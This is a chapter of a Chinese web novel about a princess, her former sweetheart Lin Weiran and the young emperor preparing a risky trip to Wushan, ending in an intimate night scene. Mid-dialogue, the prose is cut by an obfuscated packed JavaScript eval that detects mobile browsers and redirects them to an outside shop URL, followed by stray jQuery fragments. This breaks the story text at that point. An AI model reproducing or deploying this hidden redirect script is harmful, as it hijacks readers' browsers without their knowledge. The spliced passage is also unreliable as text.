22. 第 22 章

作品:《长公主每天都想跑路

    一号棚内,杨灵允正在陪小皇帝用午膳。


    她有些漫不经心地抬眼扫过不远处的人,视线便陡然间又与林魏然对上。


    林魏然站在棚子的门口,神色微暗,不知在想些什么。


    杨灵允便又挪开视线,强迫自己不再去想些有的没的。


    与此同时,林魏然狠狠一咬牙,也终于踏进棚内,来到杨灵允身边。


    向来能言善辩的林太傅在此时却忽然哑了一般,不知该说些什么。


    他顿了片刻,忽然哑声道歉,“我先前不该那样说。”


    杨灵允又抬眼看了看他。


    她坐着,他站着。


    片刻后,杨灵允又极快地挪开眼神,淡淡道,“你没说错什么,不必道歉。”


    她有些累了,懒得去深究林魏然突然转变的态度。


    垂在身侧的手习惯性地缓缓捏紧,指尖嵌入手心,细碎的痛感让她不自觉微颤的手臂缓缓平静了下来。


    林魏然却忽然半蹲下来,轻轻握上她捏紧的手。


    “怎么了,冷了吗?”


    他微微仰头看着她,眼底是毫不掩饰的担忧。


    杨灵允垂眼看他覆在自己手上的指尖,指尖不自觉嵌得更深,思绪才堪堪维持住清明。


    “大庭广众之下,”她嘴角扯开些不知是轻嘲还是警告的弧度,“林太傅此举,不怕被有心人瞧见了大做文章?”


    林魏然指尖忽然瑟缩了下,却固执地没有放开。


    但他缓缓起身,一手还握着杨灵允的手,一手游移到衣领处,似乎是想脱了外袍给她。


    杨灵允见状,终于用力将自己的手从林魏然手中收回来,“我不冷。”


    林魏然指尖的动作一顿。


    小皇帝终于适时地开口出声,“太傅先来用膳吧。”


    一号棚内都是小皇帝与杨灵允身边的人,深知什么时候该装作自己不存在。


    林魏然沉默地坐在了杨灵允与小皇帝的那桌边上,整个棚内蔓延着一股死寂的沉默。


    杨灵允有些受不了这股尴尬的沉默,索性起身想去透透气。


    在她离开的那一刻,林魏然又突然拉住了她的手,垂眼轻声道,“别走远了,这儿不安全。”


    杨灵允自上而下地看着他,只能看见他垂下的纤长眼睫,鼻尖,还有嘴唇。


    他看上去是劳累了很多日,眼眶边带着一圈淡淡乌青,此时垂眸轻声的模样,更显脆弱。


    其实她最开始喜欢林魏然,便是喜欢他这张极富少年感又偶露脆弱的脸。


    时至今日,她依旧喜欢。


    但只是喜欢这张脸,还是喜欢这个人,她已经分不清了。


    “我就在门口。”


    杨灵允很轻地吐出一口气,抬手轻轻拍了拍林魏然的手背。


    ……


    “太傅又惹姐姐生气了?”小皇帝坐在林魏然对面,抬眼看了看林魏然。


    林魏然沉默了许久,才从喉咙中挤出“没有”二字。


    他只是很想问问杨灵允这几年的日子,可又怕惹杨灵允不快,更觉得自己似乎没有什么身份和资格去问她这些。


    先前马车上的那点暧昧,在下车之际便消散干净。


    小皇帝见他一副挣扎拧巴的模样,无奈地叹口气,“太傅明日要去乌山是吧?朕与你同去。”


    林魏然瞬间抬眼,微微皱眉,劝阻道,“乌山是大长公主的地盘,不安全。还请陛下三思。”


    小皇帝轻轻搁下手中的银箸,声音中透着不容反驳的意味,“正因如此,朕才必须要去。”


    乌山曾是先帝赐给废太子的一块地,就在京郊附近,离京城极近。


    当初太子被废后,这块地便归了大长公主。


    “这些流民中,有些并非山南道之人,更像是乌山人士。太傅此去,不就是想查查大长公主究竟在乌山做了什么吗?”


    小皇帝抬眼看林魏然,继续道,“这或许会是一个扳倒大长公主的好机会,朕要亲自去。”


    林魏然也放下银箸,轻声叹口气,“大长公主不成气候,陛下何必亲身犯险?”


    小皇帝沉默片刻,忽然说了个无关紧要的话题,“魏院判说,姐姐思虑过重,伤神伤身。若再这般下去,恐有损寿数。”


    林魏然神色微变,放在桌上的手陡然加重了几分力道,“宣和先前身子一直很好的……”


    “那是过去,”小皇帝直视着林魏然,轻声道,“在安王一事上我帮不了姐姐什么,至少这件事,我可以替姐姐分担一些。”


    他的神色与当年的太子几乎是一模一样。


    林魏然恍惚了一瞬间,仿佛看到当年的太子表哥,笑着说别担心,你与宣和都是我的亲人,我会让你们如愿的。


    所以他终究还是妥协了。


    ……


    与此同时,站在门口的杨灵允正无所事事地把玩着手中的珠串。


    她眼神扫过不远处流动的人群。


    忽然看见了一个很眼熟的图案。


    是一个女孩的玉佩,纹路在日光的反射下格外清晰。


    她神色骤变,刚想上前看清,可忽然涌出一批百姓,直接将她的路截断了。


    等她好不容易费劲地穿过人群时,那个女孩已经不见了。


    她打听了一番,有不少人说那个女孩似乎是往乌山方向去了。


    乌山……大长公主的地盘。


    也是从东南到京城的一处必经之路。


    杨灵允沉吟片刻,转身回了一号棚,就得知小皇帝与林魏然明日要一起去乌山。


    “我也去。”她难得没有说乌山不安全,劝小皇帝别去,而是直截了当地表示自己赞同。


    小皇帝与林魏然两人劝不动早已下定决心的杨灵允,只得各自吩咐了暗地里的侍卫多加一倍。


    再加上杨灵允来时就吩咐闻九带着金吾卫的人暗中跟着。


    整个京郊,此时竟比京城还安全几分。


    ……


    为了第二天就能出发,小皇帝与杨灵允没有回宫,都歇在了京郊。


    深夜,杨灵允躺在帐篷内,翻来覆去地睡不着。


    她一直在想先前见到的那个女孩和她身上的那枚玉佩。


    不可能是自己看错。


    那枚玉佩,绝对与杨允禧有关。


    杨允禧,她这个五哥,人都死了,难道还留了什么后手?


    杨灵允越想越觉得烦躁,甚至还有些闷,索性离开帐篷去透透气。


    只是她一出门,就看见坐在不远处树下的林魏然。


    他见杨灵允出来,像是被抓包一样,也连忙起身。


    两人隔着些距离对视,还是林魏然率先走了过来。


    “睡不着吗?”他轻声问道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459454|141659||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    杨灵允没答,反问他不去休息在树下坐着做什么?


    林魏然一时哑然,顿了片刻才道,“我有些担心。”


    “担心什么?”


    此时深夜,四下无人。


    只有巡夜的侍卫在不远处。


    深夜总能放大情绪。


    林魏然张了张唇,刚想说什么,不远处忽然传来一声厉喝——“谁!”


    是巡夜的侍卫发现杨灵允的帐篷外忽然出现了一团黑影,前来查看。


    杨灵允来不及多想,下意识地用力将人拉到帐篷内。


    帐篷不大,惯性之下,两人双双滚落。


    此时侍卫也赶到。


    杨灵允不耐地对外面道,“怎么了?”


    “公主可好?属下发现公主帐篷外似有人影。”


    “是本宫刚刚出去透气。”杨灵允打发走了侍卫,才将眼神落在两人的姿势上。


    林魏然一手抱着她,一手撑着身子。


    而她就压在林魏然腿上。


    帐篷内没有烛火,只有外边透进来的些许光亮。


    照得林魏然的眼底愈发幽黑。


    “宣和……”他开口时声音哑然。


    杨灵允有些尴尬地抿了抿唇,撑着林魏然的肩想站起来。


    但京郊条件实在不好,帐篷不高。


    杨灵允还未站直,头便撞到了顶上用来固定的木架。


    她轻嘶一声。


    林魏然连忙又将人按下,轻轻揉着她被撞到的地方。


    “疼吗?”


    杨灵允坐在他身边,沉默片刻,轻轻点了点头。


    只有两人独处的时候,她才会放任自己遵循本心。


    林魏然指尖一颤,几乎是下意识地凑近吹了吹她的伤处。


    流动的风轻轻淌过,卷起不知从哪来的温热。


    杨灵允只觉得酥麻的战栗自头顶缓缓向下蔓延,又从后脖颈蔓延到她的指尖。


    她微微转身,眼神与林魏然对上。


    此时愈发得暗了——大约是哪个提灯的侍卫巡视到别处去了。


    林魏然的指尖还落在她的发上,顺着她转身的动作滑落至她的后颈。


    隔着黑发,他的指尖也能触碰到她后颈处凸起的骨头。


    他呼吸声不自觉加速。


    而杨灵允借着外面黯淡的光只能依稀看见他面孔的轮廓。


    明暗之中,方寸之间。


    她很清晰地听见了林魏然克制压抑的呼吸声。


    杨灵允一点点地抬手,抚过这张她很熟悉的面孔。


    眉骨、鼻梁、再到嘴唇。


    他的嘴唇很软,她很多年前就知道。


    冰凉的指腹按压在温热的唇瓣。


    林魏然喉结剧烈地滚动好几下,凭着极大的意志力才将杨灵允的手拉开,“与礼不合,公主。”


    但杨灵允似乎是打定主意今晚要放纵自己。


    低低地笑了一声,又凑近了些,指尖游走在他的脖颈,“你什么时候开始在乎礼数了,容时哥哥?”


    她想,她为了大周殚精竭虑,为了小皇帝能坐稳这个皇位算尽一切,为了报恩将自己生囚于皇城多年。


    她已经过得够累了,为什么不能在四下无人的黑暗之中放纵一些?


    她不贪心。


    她只想要一点能肆意的自由。